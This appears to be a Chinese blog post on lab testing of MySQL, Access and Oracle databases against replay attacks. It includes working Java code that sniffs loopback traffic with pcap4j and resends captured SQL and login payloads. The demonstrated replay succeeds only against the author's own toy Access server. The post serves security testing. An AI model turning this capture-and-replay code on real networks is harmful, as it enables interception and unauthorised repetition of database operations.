序
“重放攻击”的概念可能大多数人都比较陌生,在REST风格web程序中,若仅使用HTTP协议,请求数据很容易被网络抓包截取,需要在API层面考虑防重放攻击的设计;在数据库安全测试中,重放攻击相关内容可查阅的资料非常少。
数据库重放攻击为我国数据库安全等级测试军用标准的选测项,目的是为了检验数据库在网络层的安全性。现将查阅资料后设计的实验思路记录如下,希望能给后来有同样需求的朋友一点帮助。
文章目录
一、基本定义
1.重放攻击
重放攻击(Replay Attacks)又称重播攻击、回放攻击,是指攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程,破坏认证的正确性。重放攻击可以由发起者,也可以由拦截并重发该数据的敌方进行。攻击者利用网络监听或者其他方式盗取认证凭据,之后再把它重新发给认证服务器。
重放攻击的基本原理就是把以前窃听到的数据包原封不动地重新发送给接收方,很多时候,网络上传输的数据是加密过的,此时窃听者无法确定收据的准确意义。但如果窃听者知道这些数据的作用,就可以在不清楚数据内容的情况下通过再次发送这些数据达到欺骗接收端的目的。
根据重放消息的接收方与消息的原定接收方的关系,重放攻击可分为直接重放、反向重放和第三方重放三种。(来自度娘)
简单地说,重放攻击就是使用某种方式录制一段客户端和服务器的通信数据,然后将这段通信数据重新发送给服务器,然后观察服务器的响应状况:如果攻击成功,则服务器会完成重放内容的操作,如果服务器拒绝响应,则说明服务器防重放攻击的能力。这里的“服务器”在B/S架构中指的是web服务器,在数据库测试中指的是数据库。鉴于测试标准要求,我们考虑直接重放。
2.防重放攻击
防重放攻击的防御方案主要有以下几种:加随机数、加时间戳、加流水号,或者使用挑战-应答机制和一次性口令机制。
各种预防方案的具体实现这里不做详细叙述,基本上所有的预防手段都是通过保证通信同步、确定连接双方来实现的。后续试验的数据库主要为mysql、access、以及oracle,因此在这里简单介绍一下这些数据库服务器的防重放攻击的方法。
这几种数据库的预防手段是通过查看通信报文结构以及实验过程中使用抓包软件wireshark验证的方式得出的,mysql登录认证采用了挑战-应答机制,每次处理登录请求时挑战随机数均不相同,故数据包中的密码在重放时是错误的;access无预防手段,攻击可以成功;Oracle服务器对于连接认证的响应报文有追踪唯一连接标志,推测是重放数据报中的连接ID不正确。
这里需要感谢一些大佬们的分享,查看mysql通信协议的链接如下:
mysql的通信协议
oracle部分报文格式的链接如下:
Oracle tns 协议
二、运行环境
1.硬件环境
这里给出进行实验时所用计算机的硬件配置:
系统配置 | |
---|---|
处理器 | Intel® Core™ i7-5500U [email protected] 2.40GHz |
内存(RAM) | 4.00GB |
2.软件环境
实验所需的软件环境列出如下:
软件环境 | |
---|---|
操作系统 | windows 10(64位) /ubuntu16.04 |
网络抓包驱动 | npcap-0.9986 (window平台下)/libpcap(linux平台下) |
Java开发环境 | jdk1.8.0_151 |
编译器 | IntelliJ IDEA19.1.3 x64 |
数据库 | mysql5.5,access,oracle11g |
另外,实验过程中可使用一个辅助工具进行验证,即网络封包分析软件wireshark,笔者使用的版本为3.06版。
三、设计思路
构造重放攻击最重要的是构造通信场景,录制通信数据、发送通信数据。我们需要知道:
1.录制的通信数据的作用是什么?
2.录制的通信数据是否准确?
3.重放攻击是否生效?数据内容是否被服务器接收处理?
4.攻击不成功的原因是什么?
这里列出的问题均可通过程序输出捕获内容、与wireshark捕获的数据包进行对比的方式得出,其中问题1/2需要我们构建合理的通信场景,在服务器、应用进程、监听进程之间达到同步,以便确定捕获到的内容。
程序设计中,采用pcap4j捕获数据包,使用java线程的sleep方法达到线程同步,使捕获进程、发送进程等待一个足够长的时间,确保在用户操作时捕获数据、捕获进程结束发送数据。采用socket发送数据包,这里笔者使用pcap4j做过不同层的数据包重放测试,在网络层及以下,攻击进程会因为发送的重放报文端口号失效被拒绝连接,连接无法建立;或是因为在短时间内发送了一个重复的报文被服务器丢弃,攻击必定失败。因此这里选择发送应用层的数据,使用socket对其进行封装,这样能与服务器建立连接,然后将录制的通信数据发送至服务端。
根据不同的数据库种类,笔者设计的通信场景有两种:
access数据库的通信场景:
1.在E:\java\DatabaseTest.accdb中建立数据表employ(包含字段id、name、salary、age),编写服务端程序操作数据库,固定端口号为7777;
2.客户端1向服务端发送sql语句update employ set salary=salary+1000 where the_name="Jack”;
3.应用进程2录制上述操作的通信数据,以另一客户端的身份进行重放;
4.客户端1查询操作结果,查看salary字段值是否正确。
mysql、oracle数据库的通信场景:
1.应用进程1与数据库建立连接,以管理员身份登录,创建用户U1、删除用户U1;
2.应用进程2监听上述操作,录制管理员登录、创建用户的通信数据;
3.应用进程2与数据库建立连接,重放通信数据;
4.查看服务器响应状况。
构造两种通信场景的原因是:access作为文件类型的数据库,建立连接时没有登录认证这一步,没有服务器和固定的端口号,由应用进程直接操作数据库;而mysql和oracle服务器均需要先建立连接,使用正确的用户名和密码登录后才能对数据表进行操作。
四、具体实现
1.使用pcap4j捕获本地环回测试报文
由于任务要求,需要使用java程序去完成整个攻击过程,java语言虽然在TCP/UDP传输方面给予了良好的定义,但对于网络层以下的控制,却是无能为力的,要需要使用其他的扩展包。常见的在java程序中捕获数据包的扩展jar有jpcap和pcap4j,两者均通过调用wincap/libpcap的方式,给java语言提供一个捕获和发送数据包的公共接口。
jpcap扩展包需要主机上安装winpcap或者libpcap,而pcap4j需要在主机上安装npcap(windows平台)或者libpcap(linux平台)。
winpcap是windows平台下一个公共的网络访问系统,可以为应用程序提供访问网络底层的能力,从而获取网络上通过主机网卡的数据包。而npcap则是winpcap的升级版,其特点在于增加了采用虚拟镜像映射的方法构造了本地环回测试的网卡接口,简单来说,npcap可以捕获本地环回环回测试的报文。而libpcap则是linux上的抓包驱动,其作用与前两者类似,一般情况下,linux都自带了libpcap包,可通过以下命令查询libpcap的版本号:find /usr -name “libpcap*so *”。
因为设计的实验是本地数据库和应用进程之间进行通信,所以这里采用pcap4j来捕获本地环回报文。
这里给出pcap4j的github地址,作者回复问题很及时,而且代码一直有更新,可以参考github上作者给出的样例学习pcap4j的用法:
pcap4j官网地址
下面给出程序中使用pcap4的maven配置:
<!--pcap4j依赖导入 -->
<dependencies>
<dependency>
<groupId>org.pcap4j</groupId>
<artifactId>pcap4j-core</artifactId>
<version>[1.0,2.0)</version>
</dependency>
<dependency>
<groupId>org.pcap4j</groupId>
<artifactId>pcap4j-packetfactory-static</artifactId>
<version>[1.0,2.0)</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
接下来就是整个实验过程的重点内容,通信数据的捕获程序:
import java.io.*;
import java.net.Socket;
import java.sql.*;
import org.pcap4j.core.*;
import org.pcap4j.packet.*;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
//捕获TCP数据包
class GetPackage{
List<PcapNetworkInterface> alldev = Pcaps.findAllDevs();
boolean loop_flag=false;
StartCapture myCapture;
GetPackage(int port,String ip,int time) throws PcapNativeException {
//开启监听设备
for(int i = 0; i < alldev.size(); ++i) {
if (alldev.get(i).isLoopBack()) {
System.out.println("序号:" + i + alldev.get(i).getName() + alldev.get(i).getDescription());
loop_flag=true;
this.myCapture = new StartCapture(alldev.get(i).getName(), port, ip, time);
Thread t = new Thread(this.myCapture);
t.start();
}
}
if(loop_flag==false)
{
System.out.println("无本地loopback接口");
}
}
//计时同步,获取数据包信息
public List<TcpPacket> getPackage (int time){
long start=System.currentTimeMillis();
long end;
do{
end=System.currentTimeMillis();
}while(end-start<=(long)time);
MyPackageListenter.showPacket();
return MyPackageListenter.listTCP;
}
}
class MyPackageListenter implements PacketListener{
//构造可用的tcp、ip数据报
public static List<TcpPacket> listTCP =new ArrayList<TcpPacket>();
public static List<BsdLoopbackPacket> listLoop =new ArrayList<BsdLoopbackPacket>();
private String data;
private int test_pcount=0;
public static StringBuffer recData=new StringBuffer("Packet::");
public MyPackageListenter(){
}
//观察者模式,抓到报文回调gotPacket方法
public void gotPacket( PcapPacket pcapPacket){
//获得的是整个环回测试的原始数据,包括LoopBack、Ipv4头、Tcp头以及data
if(pcapPacket.contains(TcpPacket.class)) {
test_pcount++;
System.out.println("当前为第"+test_pcount+"个报文");
BuildMyTcpPacket(pcapPacket.get(TcpPacket.class));
BuildMyBsdLoopbackPacket(pcapPacket.get(BsdLoopbackPacket.class));
this.data=pcapPacket.get(TcpPacket.class).toHexString();
recData.append(this.data);
}
}
//获得的数据添加到列表
public void BuildMyTcpPacket(TcpPacket packet){
TcpPacket tcpPacket=packet;
listTCP.add(tcpPacket);
}
public void BuildMyBsdLoopbackPacket(BsdLoopbackPacket packet){
BsdLoopbackPacket BsdLoopbackPacket=packet;
listLoop.add(BsdLoopbackPacket);
}
public static void showPacket(){
System.out.println("捕获数据帧的输出测试...");
for(int i=0;i<listLoop.size();i++)
{
if(listLoop.isEmpty())
{
System.out.println("没有捕获到的环回测试报文...");
break;
}
System.out.println("*当前第"+i+"个环回测试报文");
String rawData=listLoop.get(i).toHexString();
System.out.println(rawData);
}
}
}
//数据信息存储
class StartCapture implements Runnable {
private static final String READ_TIMEOUT_KEY = AntiReplay.class.getName() + ".readTimeout";
private static final int READ_TIMEOUT = Integer.getInteger(READ_TIMEOUT_KEY, 10); // [ms]
private static final String SNAPLEN_KEY = AntiReplay.class.getName() + ".snaplen";
private static final int SNAPLEN = Integer.getInteger(SNAPLEN_KEY, 65536); // [bytes]
private String dev_name;
private int port;//服务器端口号
private String ip;//服务器ip
private int time;
PcapNetworkInterface nif;
private PcapHandle handle;
public StartCapture(String dev_name, int port, String ip, int time) throws PcapNativeException {
this.dev_name=dev_name;
this.ip = ip;
this.port = port;
this.time = time;
this.nif=Pcaps.getDevByName(dev_name);
}
public void run() {
try {
String filter;
//设置过滤规则
if(this.port == -1) {
filter = new String("host " + this.ip);
} else {
filter = new String("dst port " + this.port + " and " + "host " + this.ip);
}
System.out.println(filter);
//开启网卡号,监听过滤,设置计时范围,开启新线程运行test
this.handle = nif.openLive(SNAPLEN, PcapNetworkInterface.PromiscuousMode.PROMISCUOUS, READ_TIMEOUT);
System.out.println("正在监听" + this.dev_name+ "网卡"+"\t"+this.port +"号端口");
try{
this.handle.setFilter(filter, BpfProgram.BpfCompileMode.OPTIMIZE);
// StartCapture.TimeCounter timeCounter = new StartCapture.TimeCounter(this.handle,this.time);
// Thread t = new Thread(timeCounter);
// t.start();
// this.handle.loop(-1, new MyPackageListenter());
ExecutorService executor = Executors.newSingleThreadExecutor();
executor.execute(
new Runnable() {
public void run() {
while (true) {
try {
handle.loop(-1, new MyPackageListenter());
} catch (PcapNativeException e) {
e.printStackTrace();
} catch (InterruptedException e) {
break;
} catch (NotOpenException e) {
break;
}
}
}
});
Thread.sleep(this.time);
this.handle.breakLoop();
this.handle.close();
executor.shutdown();
//handle.loop(30, new MyPackageListenter());
} catch (NotOpenException e) {
System.out.println("过滤器设置异常");
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (PcapNativeException e) {
System.out.println("设备打开异常");
e.printStackTrace();
}
}
}
2.socket发送捕获数据包
由于构造了两种不同的场景,因此发送捕获数据包的程序有所不同,下面给出的程序中有三句给了注释的地方需要注意,在进行access重放时,这几句需要加上;在mysql或者oracle重放时,这几句需要去掉:
class AnotherSend{
List<TcpPacket> tcpPackets=new ArrayList<TcpPacket>();
private String host;
private int port;
private Socket socket=null;
private BufferedReader reader=null;
private BufferedWriter writer=null;
DataOutputStream out=null;
public AnotherSend(String host,int port,List<TcpPacket> tcpPackets){
this.host=host;
this.port=port;
this.tcpPackets=tcpPackets;
try {
this.socket=new Socket(this.host,this.port);
this.reader=new BufferedReader(new InputStreamReader(socket.getInputStream()));
this.writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
this.out=new DataOutputStream((socket.getOutputStream()));
} catch (IOException e) {
System.out.println("套接字创建失败");
e.printStackTrace();
}
}
static void readSocketInfo(BufferedReader reader){
new Thread(new Client_Long.MyRuns(reader)).start();
}
static class MyRuns implements Runnable{
BufferedReader reader;
public MyRuns(BufferedReader reader) {
super();
this.reader = reader;
}
public void run() {
try {
String lineString="";
while( (lineString = reader.readLine())!=null ){
System.out.println(lineString);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
public boolean startSendNow(byte[] data){
boolean result=true;
try {
this.out.write(data);
this.out.flush();
} catch (IOException e) {
System.out.println("发送失败");
result=false;
e.printStackTrace();
}
return result;
}
public void closeAll(){
if (this.reader!=null) {
try {
this.reader.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (this.writer!=null) {
try {
this.writer.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (this.out!=null) {
try {
this.out.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (this.socket!=null) {
try {
this.socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
public boolean startSend(){
boolean result=true;
try {
//在mysql重放时去掉,access重放时加上
//读出服务器返回的信息,在控制台打印出来
readSocketInfo(reader);
for(int i=0;i<this.tcpPackets.size();i++){
int head_length=tcpPackets.get(i).getHeader().toHexString().length();
int all_length=tcpPackets.get(i).toHexString().length();
if(head_length!=all_length) {
System.out.println("重发第"+i+"个报文");
// if(i==1)
// Thread.sleep(2000);
byte[] sendMessage = tcpPackets.get(i).getPayload().getRawData();
// String sendMessage_hex = tcpPackets.get(i).getPayload().toString();
// writer.write(sendMessage_hex + "\n");
// writer.flush();
out.write(sendMessage);
out.flush();
Thread.sleep(2000);
}
}
//在mysql重放时去掉,access重放时加上
//重放结束时,向服务器发送“bye”,请求断开连接
writer.write("bye"+"\n");//断开连接
writer.flush();
Thread.sleep(2000);
} catch (IOException e) {
result=false;
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
try {
if (reader!=null) {
reader.close();
}
if (writer!=null) {
writer.close();
}
if (socket!=null) {
socket.close();
}
} catch (Exception e2) {
e2.printStackTrace();
}
}
return result;
}
}
3.数据库攻击测试
由于笔者构造了两种通信场景,因此攻击测试时客户端的操作有所不同,这里给出access服务器和客户端的程序,mysql客户端程序:
access服务器程序
public class AccessSever {
public static void main(String[] args) {
AccessSever server=new AccessSever();
server.startAction();
}
public static void startAction(){
ServerSocket serverSocket=null;
try {
serverSocket=new ServerSocket(7777); //端口号
System.out.println("Access服务端服务启动监听:");
//通过死循环开启长连接,开启线程去处理消息
while(true){
Socket socket=serverSocket.accept();
//String message = socket.getInetAddress().getHostAddress().toString();
System.out.println("客户端:" + socket.getPort() + "已连接~");
Connection connection= AccessDBUtils.getConn();
new Thread(new AccessSever.MyRuns(socket,connection)).start();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (serverSocket!=null) {
serverSocket.close();
}
} catch (Exception e2) {
e2.printStackTrace();
}
}
}
static class MyRuns implements Runnable{
Socket socket;
Connection connection;
BufferedReader reader;
BufferedWriter writer;
public MyRuns(Socket socket,Connection connection) {
super();
this.connection=connection;
this.socket = socket;
}
public void run() {
try {
Statement stmt=this.connection.createStatement();
ResultSet rs=null;
reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));//读取客户端消息
writer=new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));//向客户端写消息
String lineString="";
while(true){
lineString=reader.readLine();
int port=socket.getPort();
//System.out.println("收到来自"+port+"客户端的发送的消息是:" + lineString);
String sql;
if(lineString.equals("bye")) {
AccessDBUtils.close(connection,null,null);
break;
}
int flag=AnalysisPackage(lineString);//分析包内容
if(flag==1){
//选择语句
String result="result:"+"\n";
sql=getSQL(lineString);
rs=stmt.executeQuery(sql);
int clumn=rs.getMetaData().getColumnCount();
while (rs.next()){
for(int i=1;i<=clumn;i++)
result+=rs.getString(i)+" ";
result+="\n";
}
System.out.println("收到来自"+port+"客户端的发送的消息是:查询请求");
writer.write("服务器返回:查询结果"+"\n"+result);
}
else if(flag==0){
//更新语句
System.out.println("收到来自"+port+"客户端的发送的消息是:更新请求");
sql=getSQL(lineString);
int sqlFlag=stmt.executeUpdate(sql);
if(sqlFlag>=1){
writer.write("服务器返回:ok 执行成功\n");
}else
writer.write("服务器返回:no 执行失败\n");
}
writer.flush();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (reader!=null) {
reader.close();
}
if (writer!=null) {
writer.close();
}
if (socket!=null) {
socket.close();
}
} catch (Exception e2) {
e2.printStackTrace();
}
}
}
public static int AnalysisPackage(String lineString){
String test=lineString.substring(0,lineString.indexOf(" "));
if(test.equals("1"))
return 1;
return 0;
}
public static String getSQL(String lineString){
String sql=lineString.substring(lineString.indexOf(" "));
//System.out.println(sql);
return sql;
}
}
}
说明:构造了一个简易的通信协议,用于区别客户端发送的是查询语句还是其他语句。
access客户端1程序
public class AccessClient {
public static void main(String[] args){
AccessClient client=new AccessClient();
client.startAction();
}
static void readSocketInfo(BufferedReader reader){
new Thread(new AccessClient.MyRuns(reader)).start();
}
static class MyRuns implements Runnable{
BufferedReader reader;
public MyRuns(BufferedReader reader) {
super();
this.reader = reader;
}
public void run() {
try {
String lineString="";
while( (lineString = reader.readLine())!=null ){
System.out.println(lineString);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
public static void startAction(){
Socket socket=null;
BufferedReader reader=null;
BufferedWriter writer=null;
BufferedReader reader2=null;
try {
socket=new Socket("127.0.0.1", 7777);
reader = new BufferedReader(new InputStreamReader(System.in));
reader2=new BufferedReader(new InputStreamReader(socket.getInputStream()));
writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
readSocketInfo(reader2);
String lineString="";
while(!(lineString=reader.readLine()).equals("exit")){
//输入exit结束
String myData=getDataPackage(lineString);
writer.write(myData+"\n");//输入bye结束
writer.flush();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (reader!=null) {
reader.close();
}
if (writer!=null) {
writer.close();
}
if (socket!=null) {
socket.close();
}
} catch (Exception e2) {
e2.printStackTrace();
}
}
}
public static String getDataPackage(String inputData){
String out=null;
if(inputData.indexOf(" ")!=-1){
//存在空格,则为数据库语句
String test=inputData.substring(0,inputData.indexOf(" "));
if(check(test)){
out="1 "+inputData;//协议标志1为选择语句
}
else
out="0 "+inputData;//协议标志0为其他语句
}else//否则为连接语句
out=inputData;
return out;
}
public static boolean check(String test){
if(test.equals("select")){
return true;
}
return false;
}
说明:客户端1做输入语句的简单处理,将输入sql语句转换为与服务器约定的协议,方便服务器进行处理。
access客户端Re(攻击者)程序
public class AccessClient_Re {
public static void main(String[] args) throws PcapNativeException {
GetPackage test = new GetPackage(7777, "127.0.0.1", 8 * 1000);//15秒
List<TcpPacket> tcpPackets = test.getPackage(13 * 1000);
for (int i = 0; i < tcpPackets.size(); i++) {
String all = tcpPackets.get(i).toHexString();
String head = tcpPackets.get(i).getHeader().toHexString();
// System.out.println("all_rawData:"+Arrays.toString(rawData));
}
System.out.println("捕获报文线程已结束");
//7979 yy
AnotherSend testSend = new AnotherSend("127.0.0.1", 7777, tcpPackets);
testSend.startSend();
}
}
说明:客户端Re在指定的时间区段内监听并录制客户端1的发送信息,并在监听结束后重放给服务器。
三个程序之间的运行顺序如下:
1.服务器开启;
2.客户端1连接服务器,发送查询消息;
3.客户端Re运行,监听接口打开后的15秒内,在客户端1发送更新消息;
4.客户端Re重放录制的数据;
5.客户端1执行查询语句,可以发现salary字段数据异常。
某次测试的运行截图如下:
![](https://i-blog.csdnimg.cn/blog_migrate/fd8e7313ee5ca017f52bdb8349af61a9.png)
![](https://i-blog.csdnimg.cn/blog_migrate/d723a9c86b40a41f985673be36848abf.png)
![](https://i-blog.csdnimg.cn/blog_migrate/7e426c98407cdd007a8a7ae8c2c69407.png)
mysql客户端程序
public class MySQLTest {
public static void main(String[] args) throws PcapNativeException, SQLException, InterruptedException {
GetPackage test = new GetPackage(3306,"127.0.0.1",15*1000);//10秒
Thread.currentThread().sleep(5000);//5秒
System.out.println("开始执行数据库语句...");
Connection connection=GetMySQLConnect.getConnection("root","123456");
Statement stmt=connection.createStatement();
String sql="CREATE USER U1 IDENTIFIED BY 'u1'";
stmt.executeUpdate(sql);
System.out.println("创建用户U1成功....");
List<TcpPacket> tcpPackets=test.getPackage(15*1000);
System.out.println("捕获报文线程已结束");
sql="DROP USER U1;";
stmt.executeUpdate(sql);
System.out.println("删除用户成功...");
GetMySQLConnect.close(connection,stmt,null);
AnotherSend testSend=new AnotherSend("127.0.0.1",3306,tcpPackets);
testSend.startSend();
boolean test_flag=false;
System.out.println("数据报重新发送完毕");
Connection connection2=GetMySQLConnect.getConnection("root","123456");
Statement stmt2=connection2.createStatement();
ResultSet rs=null;
rs=stmt2.executeQuery("select user from mysql.user;");
while (rs.next()){
if(rs.getString("username").equals("U1")) {
test_flag = true;
break;
}
// System.out.println(rs.getString("user"));
}
if(test_flag){
System.out.println("存在U1用户");
}
else
System.out.println("不存在U1用户,重放报文无正常响应");
GetMySQLConnect.close(connection2,stmt2,rs);
}
}
说明:测试mysql数据库时,测试场景中的所有sql语句均在主程序中执行完毕,只需在主线程中控制各个子线程的执行时间就可以达到实验需要的效果。
完整的程序代码可访问笔者的github仓库,地址附下:
AntiReplayDB
五、小结
整个实验设计的过程中,比较难处理的是构造场景、捕获和发送通信数据。要确定捕获的数据是否是设定的数据,这里涉及线程的同步问题;发送数据时,需要选择发送哪一层的数据,同时需要注意的是应该选择发送包含sql操作的报文,过滤掉客户端和服务器之间的ack报文。这里借助了wireshark进行了多次对比验证,具体的验证过程比较长,没有详细列出,方法是监听数据库的端口号,将捕获的报文与java应用进程捕获的报文进行分析对比。
为了验证实验的正确性,需要进行正反对比的实验,这里反向例子很不好找,常见的数据库服务器基本上都无法攻击成功,只有设计的比较简单的access可以。因此这里在验证时,先写了一个简单的C/S程序,查看重放的内容能否在服务器端显示,用来验证重放程序的正确性。
感觉这方面的需求挺少的,总之如果有需要做java抓包发包程序的同学可以参考一下,pcap4j挺好用的,对linux的支持也挺好,推荐~